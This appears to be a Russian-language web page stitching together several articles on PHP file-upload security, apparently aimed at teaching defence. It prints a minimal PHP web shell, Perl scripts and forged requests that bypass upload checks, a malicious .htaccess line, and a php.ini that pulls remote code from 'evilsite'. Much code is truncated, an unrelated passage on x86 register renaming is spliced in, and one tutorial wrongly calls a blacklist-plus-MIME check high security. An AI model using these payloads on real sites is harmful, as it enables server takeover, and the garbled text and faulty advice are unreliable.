Полное руководство по загрузке изображений на PHP. Безопасная загрузка файлов на сервер Безопасная загрузка файлов на сервер

Когда на сайте требуется разрешить пользователю загружать свои файлы (например, фото или аватары) с последующим их хранением на сервере, сразу возникает ряд проблем с безопасностью.

Первая и самая очевидная - это имена файлов . Их обязательно нужно проверять на спецсимволы, так как пользователь может подделать HTTP-запрос, в результате чего загружаемый файл будет иметь имя, например, ../index.php. и при попытке его сохранения затрет корневой индекс. Кроме того, название может содержать русские буквы в кодировке windows-1251 или koi-8, которые некорректно сохранятся в файловой системе. Вывод: нужно сохранять файл не под тем именем, под которым его загрузил пользователь, а под случайным, например MD5-хешем от имени файла, времени загрузки и IP пользователя. Имя же этого файла где-нибудь в базе, а потом отдавать файл скритом, который предварительно будет выдавать заголовок Content-disposition: attachment; filename="имя_файла".

Вторая проблема - нельзя доверять расширению или MIME-типу , их при желании можно подделать. Поэтому если тип файла важен, его нужно проверять на соответствие формату уже на сервере (для картинок хорошо подойдет функция getimagesize из модуля GD, для других типов - чтение заголовков) и отвергать те файлы, у которых формат не соответствует.

И наконец, третья, самая главная проблема - . Тут есть несколько решений. Первое - если предполагается загрузка только определенных видов файлов (например, автар может быть только картинкой в PNG, JPG, GIF) и отвергать все, что не подходит. Но иногда требуется разрешить загружать файлы любых типов. Тогда возникает второй вариант: проверять расширение загруженного файла и, если оно небезопасно, переименовывать его (например, замена расширения с.php на.phps приведет к тому, что скрипт не будет выполняться, а будет показан его код с подсветкой синтаксиса). Главный недостаток этого решения - может оказаться, что на каком-то сервере настроено исполнение скриптов с необычном расширением, например, .php3, и отфильтровать это не получится. И наконец, третий вариант - это отключить обработку скриптов, например через.htaccess:

RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp

Однако следует учесть, что файл.htaccess влияет только на Apache (да и то его использование нужно включить в настройках), а на других серверах он будет проигнорирован. (Особенно важно это для скриптов, которые выкладываются в публичный доступ: рано или поздно найдется пользователь с каким-нибудь IIS, который не примет должных мер, поэтому лучше сочетать этот способ с предыдущим.)

И последнее: после прочтения этого текста может возникнуть желание хранить пользовательские файлы вообще в базе данных. Не стоит этого делать: хотя это и кажется простым решением, но следует учитывать, что современные поисковики индексируют не только обычные HTML-страницы, но и файлы других типов. И в момент прохождения поискового робота нагрузка на SQL-сервер будет резко возрастать из-за необходимости отдать сразу большой объем данных, что будет приводить к проблемам в работе сайта.

  • Перевод

В данной статье демонстрируются основные уязвимости веб-приложений по загрузке файлов на сервер и способы их избежать. В статье приведены самые азы, в врят-ли она будет интересна профессионалам. Но тем неменее - это должен знать каждый PHP-разработчик.

Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки и/или изображения.

Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях на PHP.

Проводимые тесты показали, что многие веб-приложения имеют множество проблем с безопасностью. Эти «дыры» предоставляют злоумышленникам обширные возможности совершать несанкционированные действия, начиная с просмотра любого файла на сервере и закачивания выполнением произвольного кода. Эта статья рассказывает об основных «дырах» безопасности и способах их избежать.

Код примеров, приведенных в этой статье, могут быть загружены по адресу:
www.scanit.be/uploads/php-file-upload-examples.zip .

Если Вы хотите их использовать, пожалуйста удостоверьтесь, что сервер, который Вы используете, не доступен из Интернета или любых других публичных сетей. Примеры демонстрируют различные уязвимости, выполнение которых на доступном извне сервере может привести к опасным последствиям.

Обычная загрузка файла

Загрузка файлов, обычно состоит из двух независимых функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей. Давайте рассмотрим следующий код (upload1.php):
$uploaddir = "uploads/" ; // Relative path under webroot


echo ;
}
?>


Обычно пользователи будут загружать файлы, используя подобную форму:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload: < input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* This source code was highlighted with Source Code Highlighter .

Злоумышленник данную форму использовать не будет. Он может написать небольшой Perl-скрипт (возможно на любом языке – прим. преводчика) , который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.

В данном случае загрузка содержит большую дыру безопасности: upload1.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:

system($_GET["command"]);
?>

Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command

Более продвинутые PHP-shell могут быть найдены в Интернете. Они могут загружать произвольные файлы, выполнять запросы SQL, и т.д.

Исходник Perl, показанный ниже, загружает PHP-Shell на сервер, используя upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php" ,
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter .

Этот скрипт использует libwwwperl , который является удобной библиотекой Perl, эмулирующей HTTP-клиента.

И вот что случится при выполнении этого скрипта:

Запрос:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content-Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

После того, как мы загрузили shell-скрипт, можно спокойно выполнить команду:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL – command-line клиент HTTP, доступный на Unix и Windows. Это очень полезный инструмент для того, чтобы проверить веб-приложения. cURL может быть загружен от curl.haxx.se

Проверка Content-Type

Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type:

Пример 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.

Запрос:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Пока неплохо. К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер – прим. переводчика) . Ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php" ,
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

И вот что получится.

Запрос:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html

В итоге, наш upload2.pl подделывает заголовок Content-Type, заставляя сервер принять файл.

Проверка содержания файла изображения

Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения. Рассмотрим пример upload3.php ниже.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) {
echo "Sorry, we only accept GIF and JPEG images\n" ;
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter .

Теперь, если нападавший попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то upload3.php все равно выдаст ошибку.

Запрос:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Типовой файл, названный crocus.gif содержится в примере (см. начало статьи). Подобное изображение может быть создано в любом графическом редакторе.

Итак, создадим perl-скрипт для загрузки нашей картинки:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php" ,
Content_Type => "form-data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter .

Этот код берет файл crocus.gif и загружает это с названием crocus.php. Выполнение приведет к следующему:

Запрос:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Теперь нападавший может выполнить uploads/crocus.php и получить следущее:

Как видно, транслятор PHP игнорирует двоичные данные в начале изображения и выполняет последовательность "" в комментарии GIF.

Проверка расширения загружаемого файла

Читатель этой статьи мог бы задаться вопросом, почему мы просто не проверяем расширение загруженного файла? Если мы не позволим загружать файлы *.php, то сервер никогда не сможет выполнить этот файл как скрипт. Давайте рассмотрим и этот подход.

Мы можем сделать черный список расширений файла и проверить имя загружаемого файла, игнорируя загрузку файла с выполняемыми расширениями (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) {
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) {
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter .

Выражение preg_match ("/$item\$/i", $_FILES["userfile"]["name"]) соответствует имени файла, определенному пользователем в массиве черного списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в черном списке, файл загружен не будет.

Если мы пытаемся загрузить файл c расширением.php, это приведет к ошибке:

Запрос:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
Если мы загружаем файл с расширением.gif, то оно будет загружено:

Запрос:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Ответ:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Теперь, если мы запросим загруженный файл, то он не будет выполнен сервером: 1 53

GreyCat

1 ответ:

модель процессора, описанная в руководстве по процессору Intel/AMD, является довольно несовершенной моделью для real двигатель исполнения современного ядра. В частности, понятие регистров процессора не соответствует действительности, нет такого понятия, как регистр EAX или RAX.

одной из основных задач декодера инструкций является преобразование устаревших инструкций x86 / x64 в micro-ops , инструкции RISC-подобного процессора. Небольшие инструкции, которые легки для того чтобы исполнить одновременно и мочь принять преимущество множественных подблоков исполнения. Позволяет одновременно выполнять до 6 инструкций.

чтобы сделать эту работу, понятие регистров процессора также виртуализируется. Декодер команд выделяет регистр из большого банка регистров. Когда инструкция пенсии , значение этого динамически выделенного регистра записывается обратно в любой регистр, который в настоящее время содержит значение ну, скажем, РАКС.

чтобы сделать эту работу плавной и эффективной, позволяя многим инструкциям выполняться одновременно, очень важно, чтобы эти операции не имели взаимозависимости. И самое худшее, что вы можете иметь, это то, что значение регистра зависит от других инструкций. Реестр EFLAGS печально известен, многие инструкции изменяют его.

такая же проблема с тем, как вы как его на работу. Большая проблема, она требует, чтобы два значения регистра были объединены когда инструкция будет удалена. Создание зависимости данных, которая будет засорять ядро. Заставляя верхний 32-бит равняться 0, эта зависимость мгновенно исчезает, больше не нужно сливаться. Скорость выполнения деформации 9.

В прошлой статье мы с Вами разбирали . Однако, я Вам уже сказал, что использовать код, который там был рассмотрен, категорически нельзя! И в этой статье мы поговорим о безопасности при загрузке файлов на сервер в PHP .

Давайте напомню код, который мы вчера рассматривали:

$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Фактически, на данный момент может быть загружено абсолютно всё, что угодно: любые исполняемые файлы, скрипты, HTML-страницы и другие весьма опасные вещи. Поэтому обязательно надо проверять загружаемые файлы очень тщательно. И сейчас мы с Вами займёмся их тщательной проверкой.

Поскольку различных вариантов задач может быть очень много, мы рассмотрим вариант с загрузкой простого изображения, на которые должны накладываться следующие ограничения:

  1. Тип - только jpg (jpeg ).
  2. Размер - менее 100 КБ .
" в соответствии с этими требованиями:

$blacklist = array(".php", ".phtml", ".php3", ".php4", ".html", ".htm");
foreach ($blacklist as $item)
if(preg_match("/$item\$/i", $_FILES["somename"]["name"])) exit;
$type = $_FILES["somename"]["type"];
$size = $_FILES["somename"]["size"];
if (($type != "image/jpg") && ($type != "image/jpeg")) exit;
if ($size > 102400) exit;
$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Теперь давайте подробно поясню, что здесь происходит. Первым делом мы проверяем на расширение загружаемого файла . Если оно представляет собой PHP-скрипт , то мы такой файл просто не пропускаем. Дальше мы получаем MIME-type и размер. Проверяем их на удовлетворение нашим условиям. Если всё хорошо, то мы загружаем файл.

Вы, наверное, можете спросить: "А зачем надо проверять и расширение, и MIME-type? ". Тут очень важно понимать, что это далеко не одно и то же. Если злоумышленник попытается отправить PHP-файл через браузер , то и одной проверки MIME-type хватит, чтобы его попытка провалилась. А вот если он напишет какой-нибудь скрипт, который будет формировать запрос и отсылать вредосный файл, то этого не хватит. Почему? А потому, что MIME-type задаётся клиентом, а не сервером! И фактически, злоумышленник может поставить любой MIME-type (и картинки тоже), но при этом отсылать PHP-скрипт . И вот именно такую хитрую попытку мы и ломаем, проверяя на расширение файла.

Я сразу скажу, что данный код далеко не 100% защита (100% просто не существует), однако, взломать такой код будет очень и очень тяжело, поэтому можете смело утверждать, что Вы обеспечили высокую безопасность при загрузке файлов на сервер через PHP .

«…или почему фильтрация по черному списку это плохо?»

Представим обычную загрузку файлов с помощью php. Я думаю все с этим сталкивались. Отбросим извращенные варианты, типа хранения файлов в базе, их переименовывание и прочее. Возьмем именно обычную наипростейшую форму загрузки файлов.

Обычно это форма на хтмл, затем серверная валидация по расширению загружаемого файла и последующий перенос загруженного файла из временной папки в папку загрузок. Отбросим все миллионы ошибок, которые совершают программисты в этих, казалось бы простейших, вещах, и посчитаем что этот функционал реализован грамотно и без ошибок.

Встает вопрос, а как именно фильтровать расширения файлов? Существуют два варианта:

  • По белому списку — составляем список допустимых расширений файлов, а все остальные блокируем
  • По черному списку — составляем список блокируемых расширений, а все остальные загружаем

Беда в том что для реализации фильтрации по белому списку нужно предусмотреть все возможные варианты нужных расширений которые будет загружать наш скрипт. И если для мест где необходимо загружать только картинки — все просто, то во многих других случаях прийдется составить довольно большой список легитимных расширений. Поэтому многим разработчикам кажется, что следует пойти от обратного, и запретить опасные расширения.

И если в первом случае многие уверены, что будут залиты файлы только с требуемыми расширениями (в статье я расскажу вам как можно обойти и это), то вот во втором случае не все так просто.

Эта статья о том чем плоха фильтрация по черному списку, и как этот фильтр можно обойти. А также приятным бонусом добавлю способ обхода фильтра по белому списку (и даже это возможно! о как!)

Начнем мы с проблем фильтрации по черному списку.

Куча расширений

Первая проблема состоит в том, что апачем по дефолту (хотя может и не по дефолту, но по крайней мере очень часто) обрабатывается куча файлов с различными расширениями как php скрипты. Вы по-прежнему думаете что достаточно блокировать только «.php»? А вот фигушки, вот неполный список возможных расширений:

Php .phtml .php4 .php5 .html

Да, да, в некоторых конфигурациях апача «.html» может обрабатыватся как php скрипт.

А еще мы же забыли про cgi, перл и прочие вкусняшки для хаккера. Да, обычно их запуск возможен только из папки «/cgi-bin», но кто знает, может быть именно ваш сервер сконфигурирован иначе…

И достаточно упустить хоть одно расширение, и злоумышленник, при попытке взлома, наверняка попытается залить файл с таким расширением и затем его выполнить, что скорее всего приведет к полному взлому вашего сайта.

Меняем конфиг под себя

Ну все, админ оказался параноиком и добавил в фильтр все исполняемые расширения. Но, как говорится, на каждый хитрый болт найдется своя хитрая гайка. Ведь админу даже не подумалось добавить расширение «.htaccess» (если это конечно можно назвать расширением:D) в список фильтра.

Пробуем загрузить файл с именнем «.htaccess» следующего содержания:

AddType application/x-httpd-php .doc

И теперь в папке куда был загружен этот файл, все файлы с расширением «.doc» будут интерпетироваться как php скрипты и соответственно выполнятся. Осталось загрузить php скрипт с этим расширением и он будет успешно выполнен.

Льем php.ini

Не так давно я писал про интересную особенность связки php+cgi (и кстати fastcgi тоже):

Для выполнения данной атаки мы должны иметь следующее стечение обстоятельств:

  • Php должен быть подключен через CGI
  • Папка куда загружаются файлы должен содержать хотябы один php скрипт (допустим index.php)
  • Фильтр не должен резать расширение.ini (то есть у нас должно получится загрузить файл php.ini)

В php есть такая интересная опция, которая называется auto_prepend_file :

Определяет имя файла, который будет автоматически обрабатываться перед основным файлом. Файл вызывается так, будто он был подключен при помощи функции require, так что include_path также используется.

Если в двух словах, то перед каждым выполнением любого скрипта, будет исполнятся сначала скрипт указанный в «auto_prepend_file». Догадываетесь к чему я клоню?

Интересно то, что можно указывать удаленный адрес файла на другом сервере, и это очень удобно. Льем такой файл php.ini:

; Включаем чтение удаленных файлов (это требует allow_url_include)
allow_url_fopen=1

; Включаем возможность удаленного инклуда
allow_url_include=1

; Подключаем «свой» скрипт со «злым» кодом
auto_prepend_file= «http://evilsite/code.txt»

Залили файл? Отлично! Теперь обращаемся к любому php скрипту который есть в дирректории куда заливаются все файлы (именно для этого я писал что нужен php скрипт в этой папке). При обращении к скрипту из этой папки в первую очередь будет выполнен файл указанный в auto_prepend_file.

«Двойное» расширение

«MIME-код — cправка, что ты не верблюд.»
несмешная штука из журнала ]}

Программы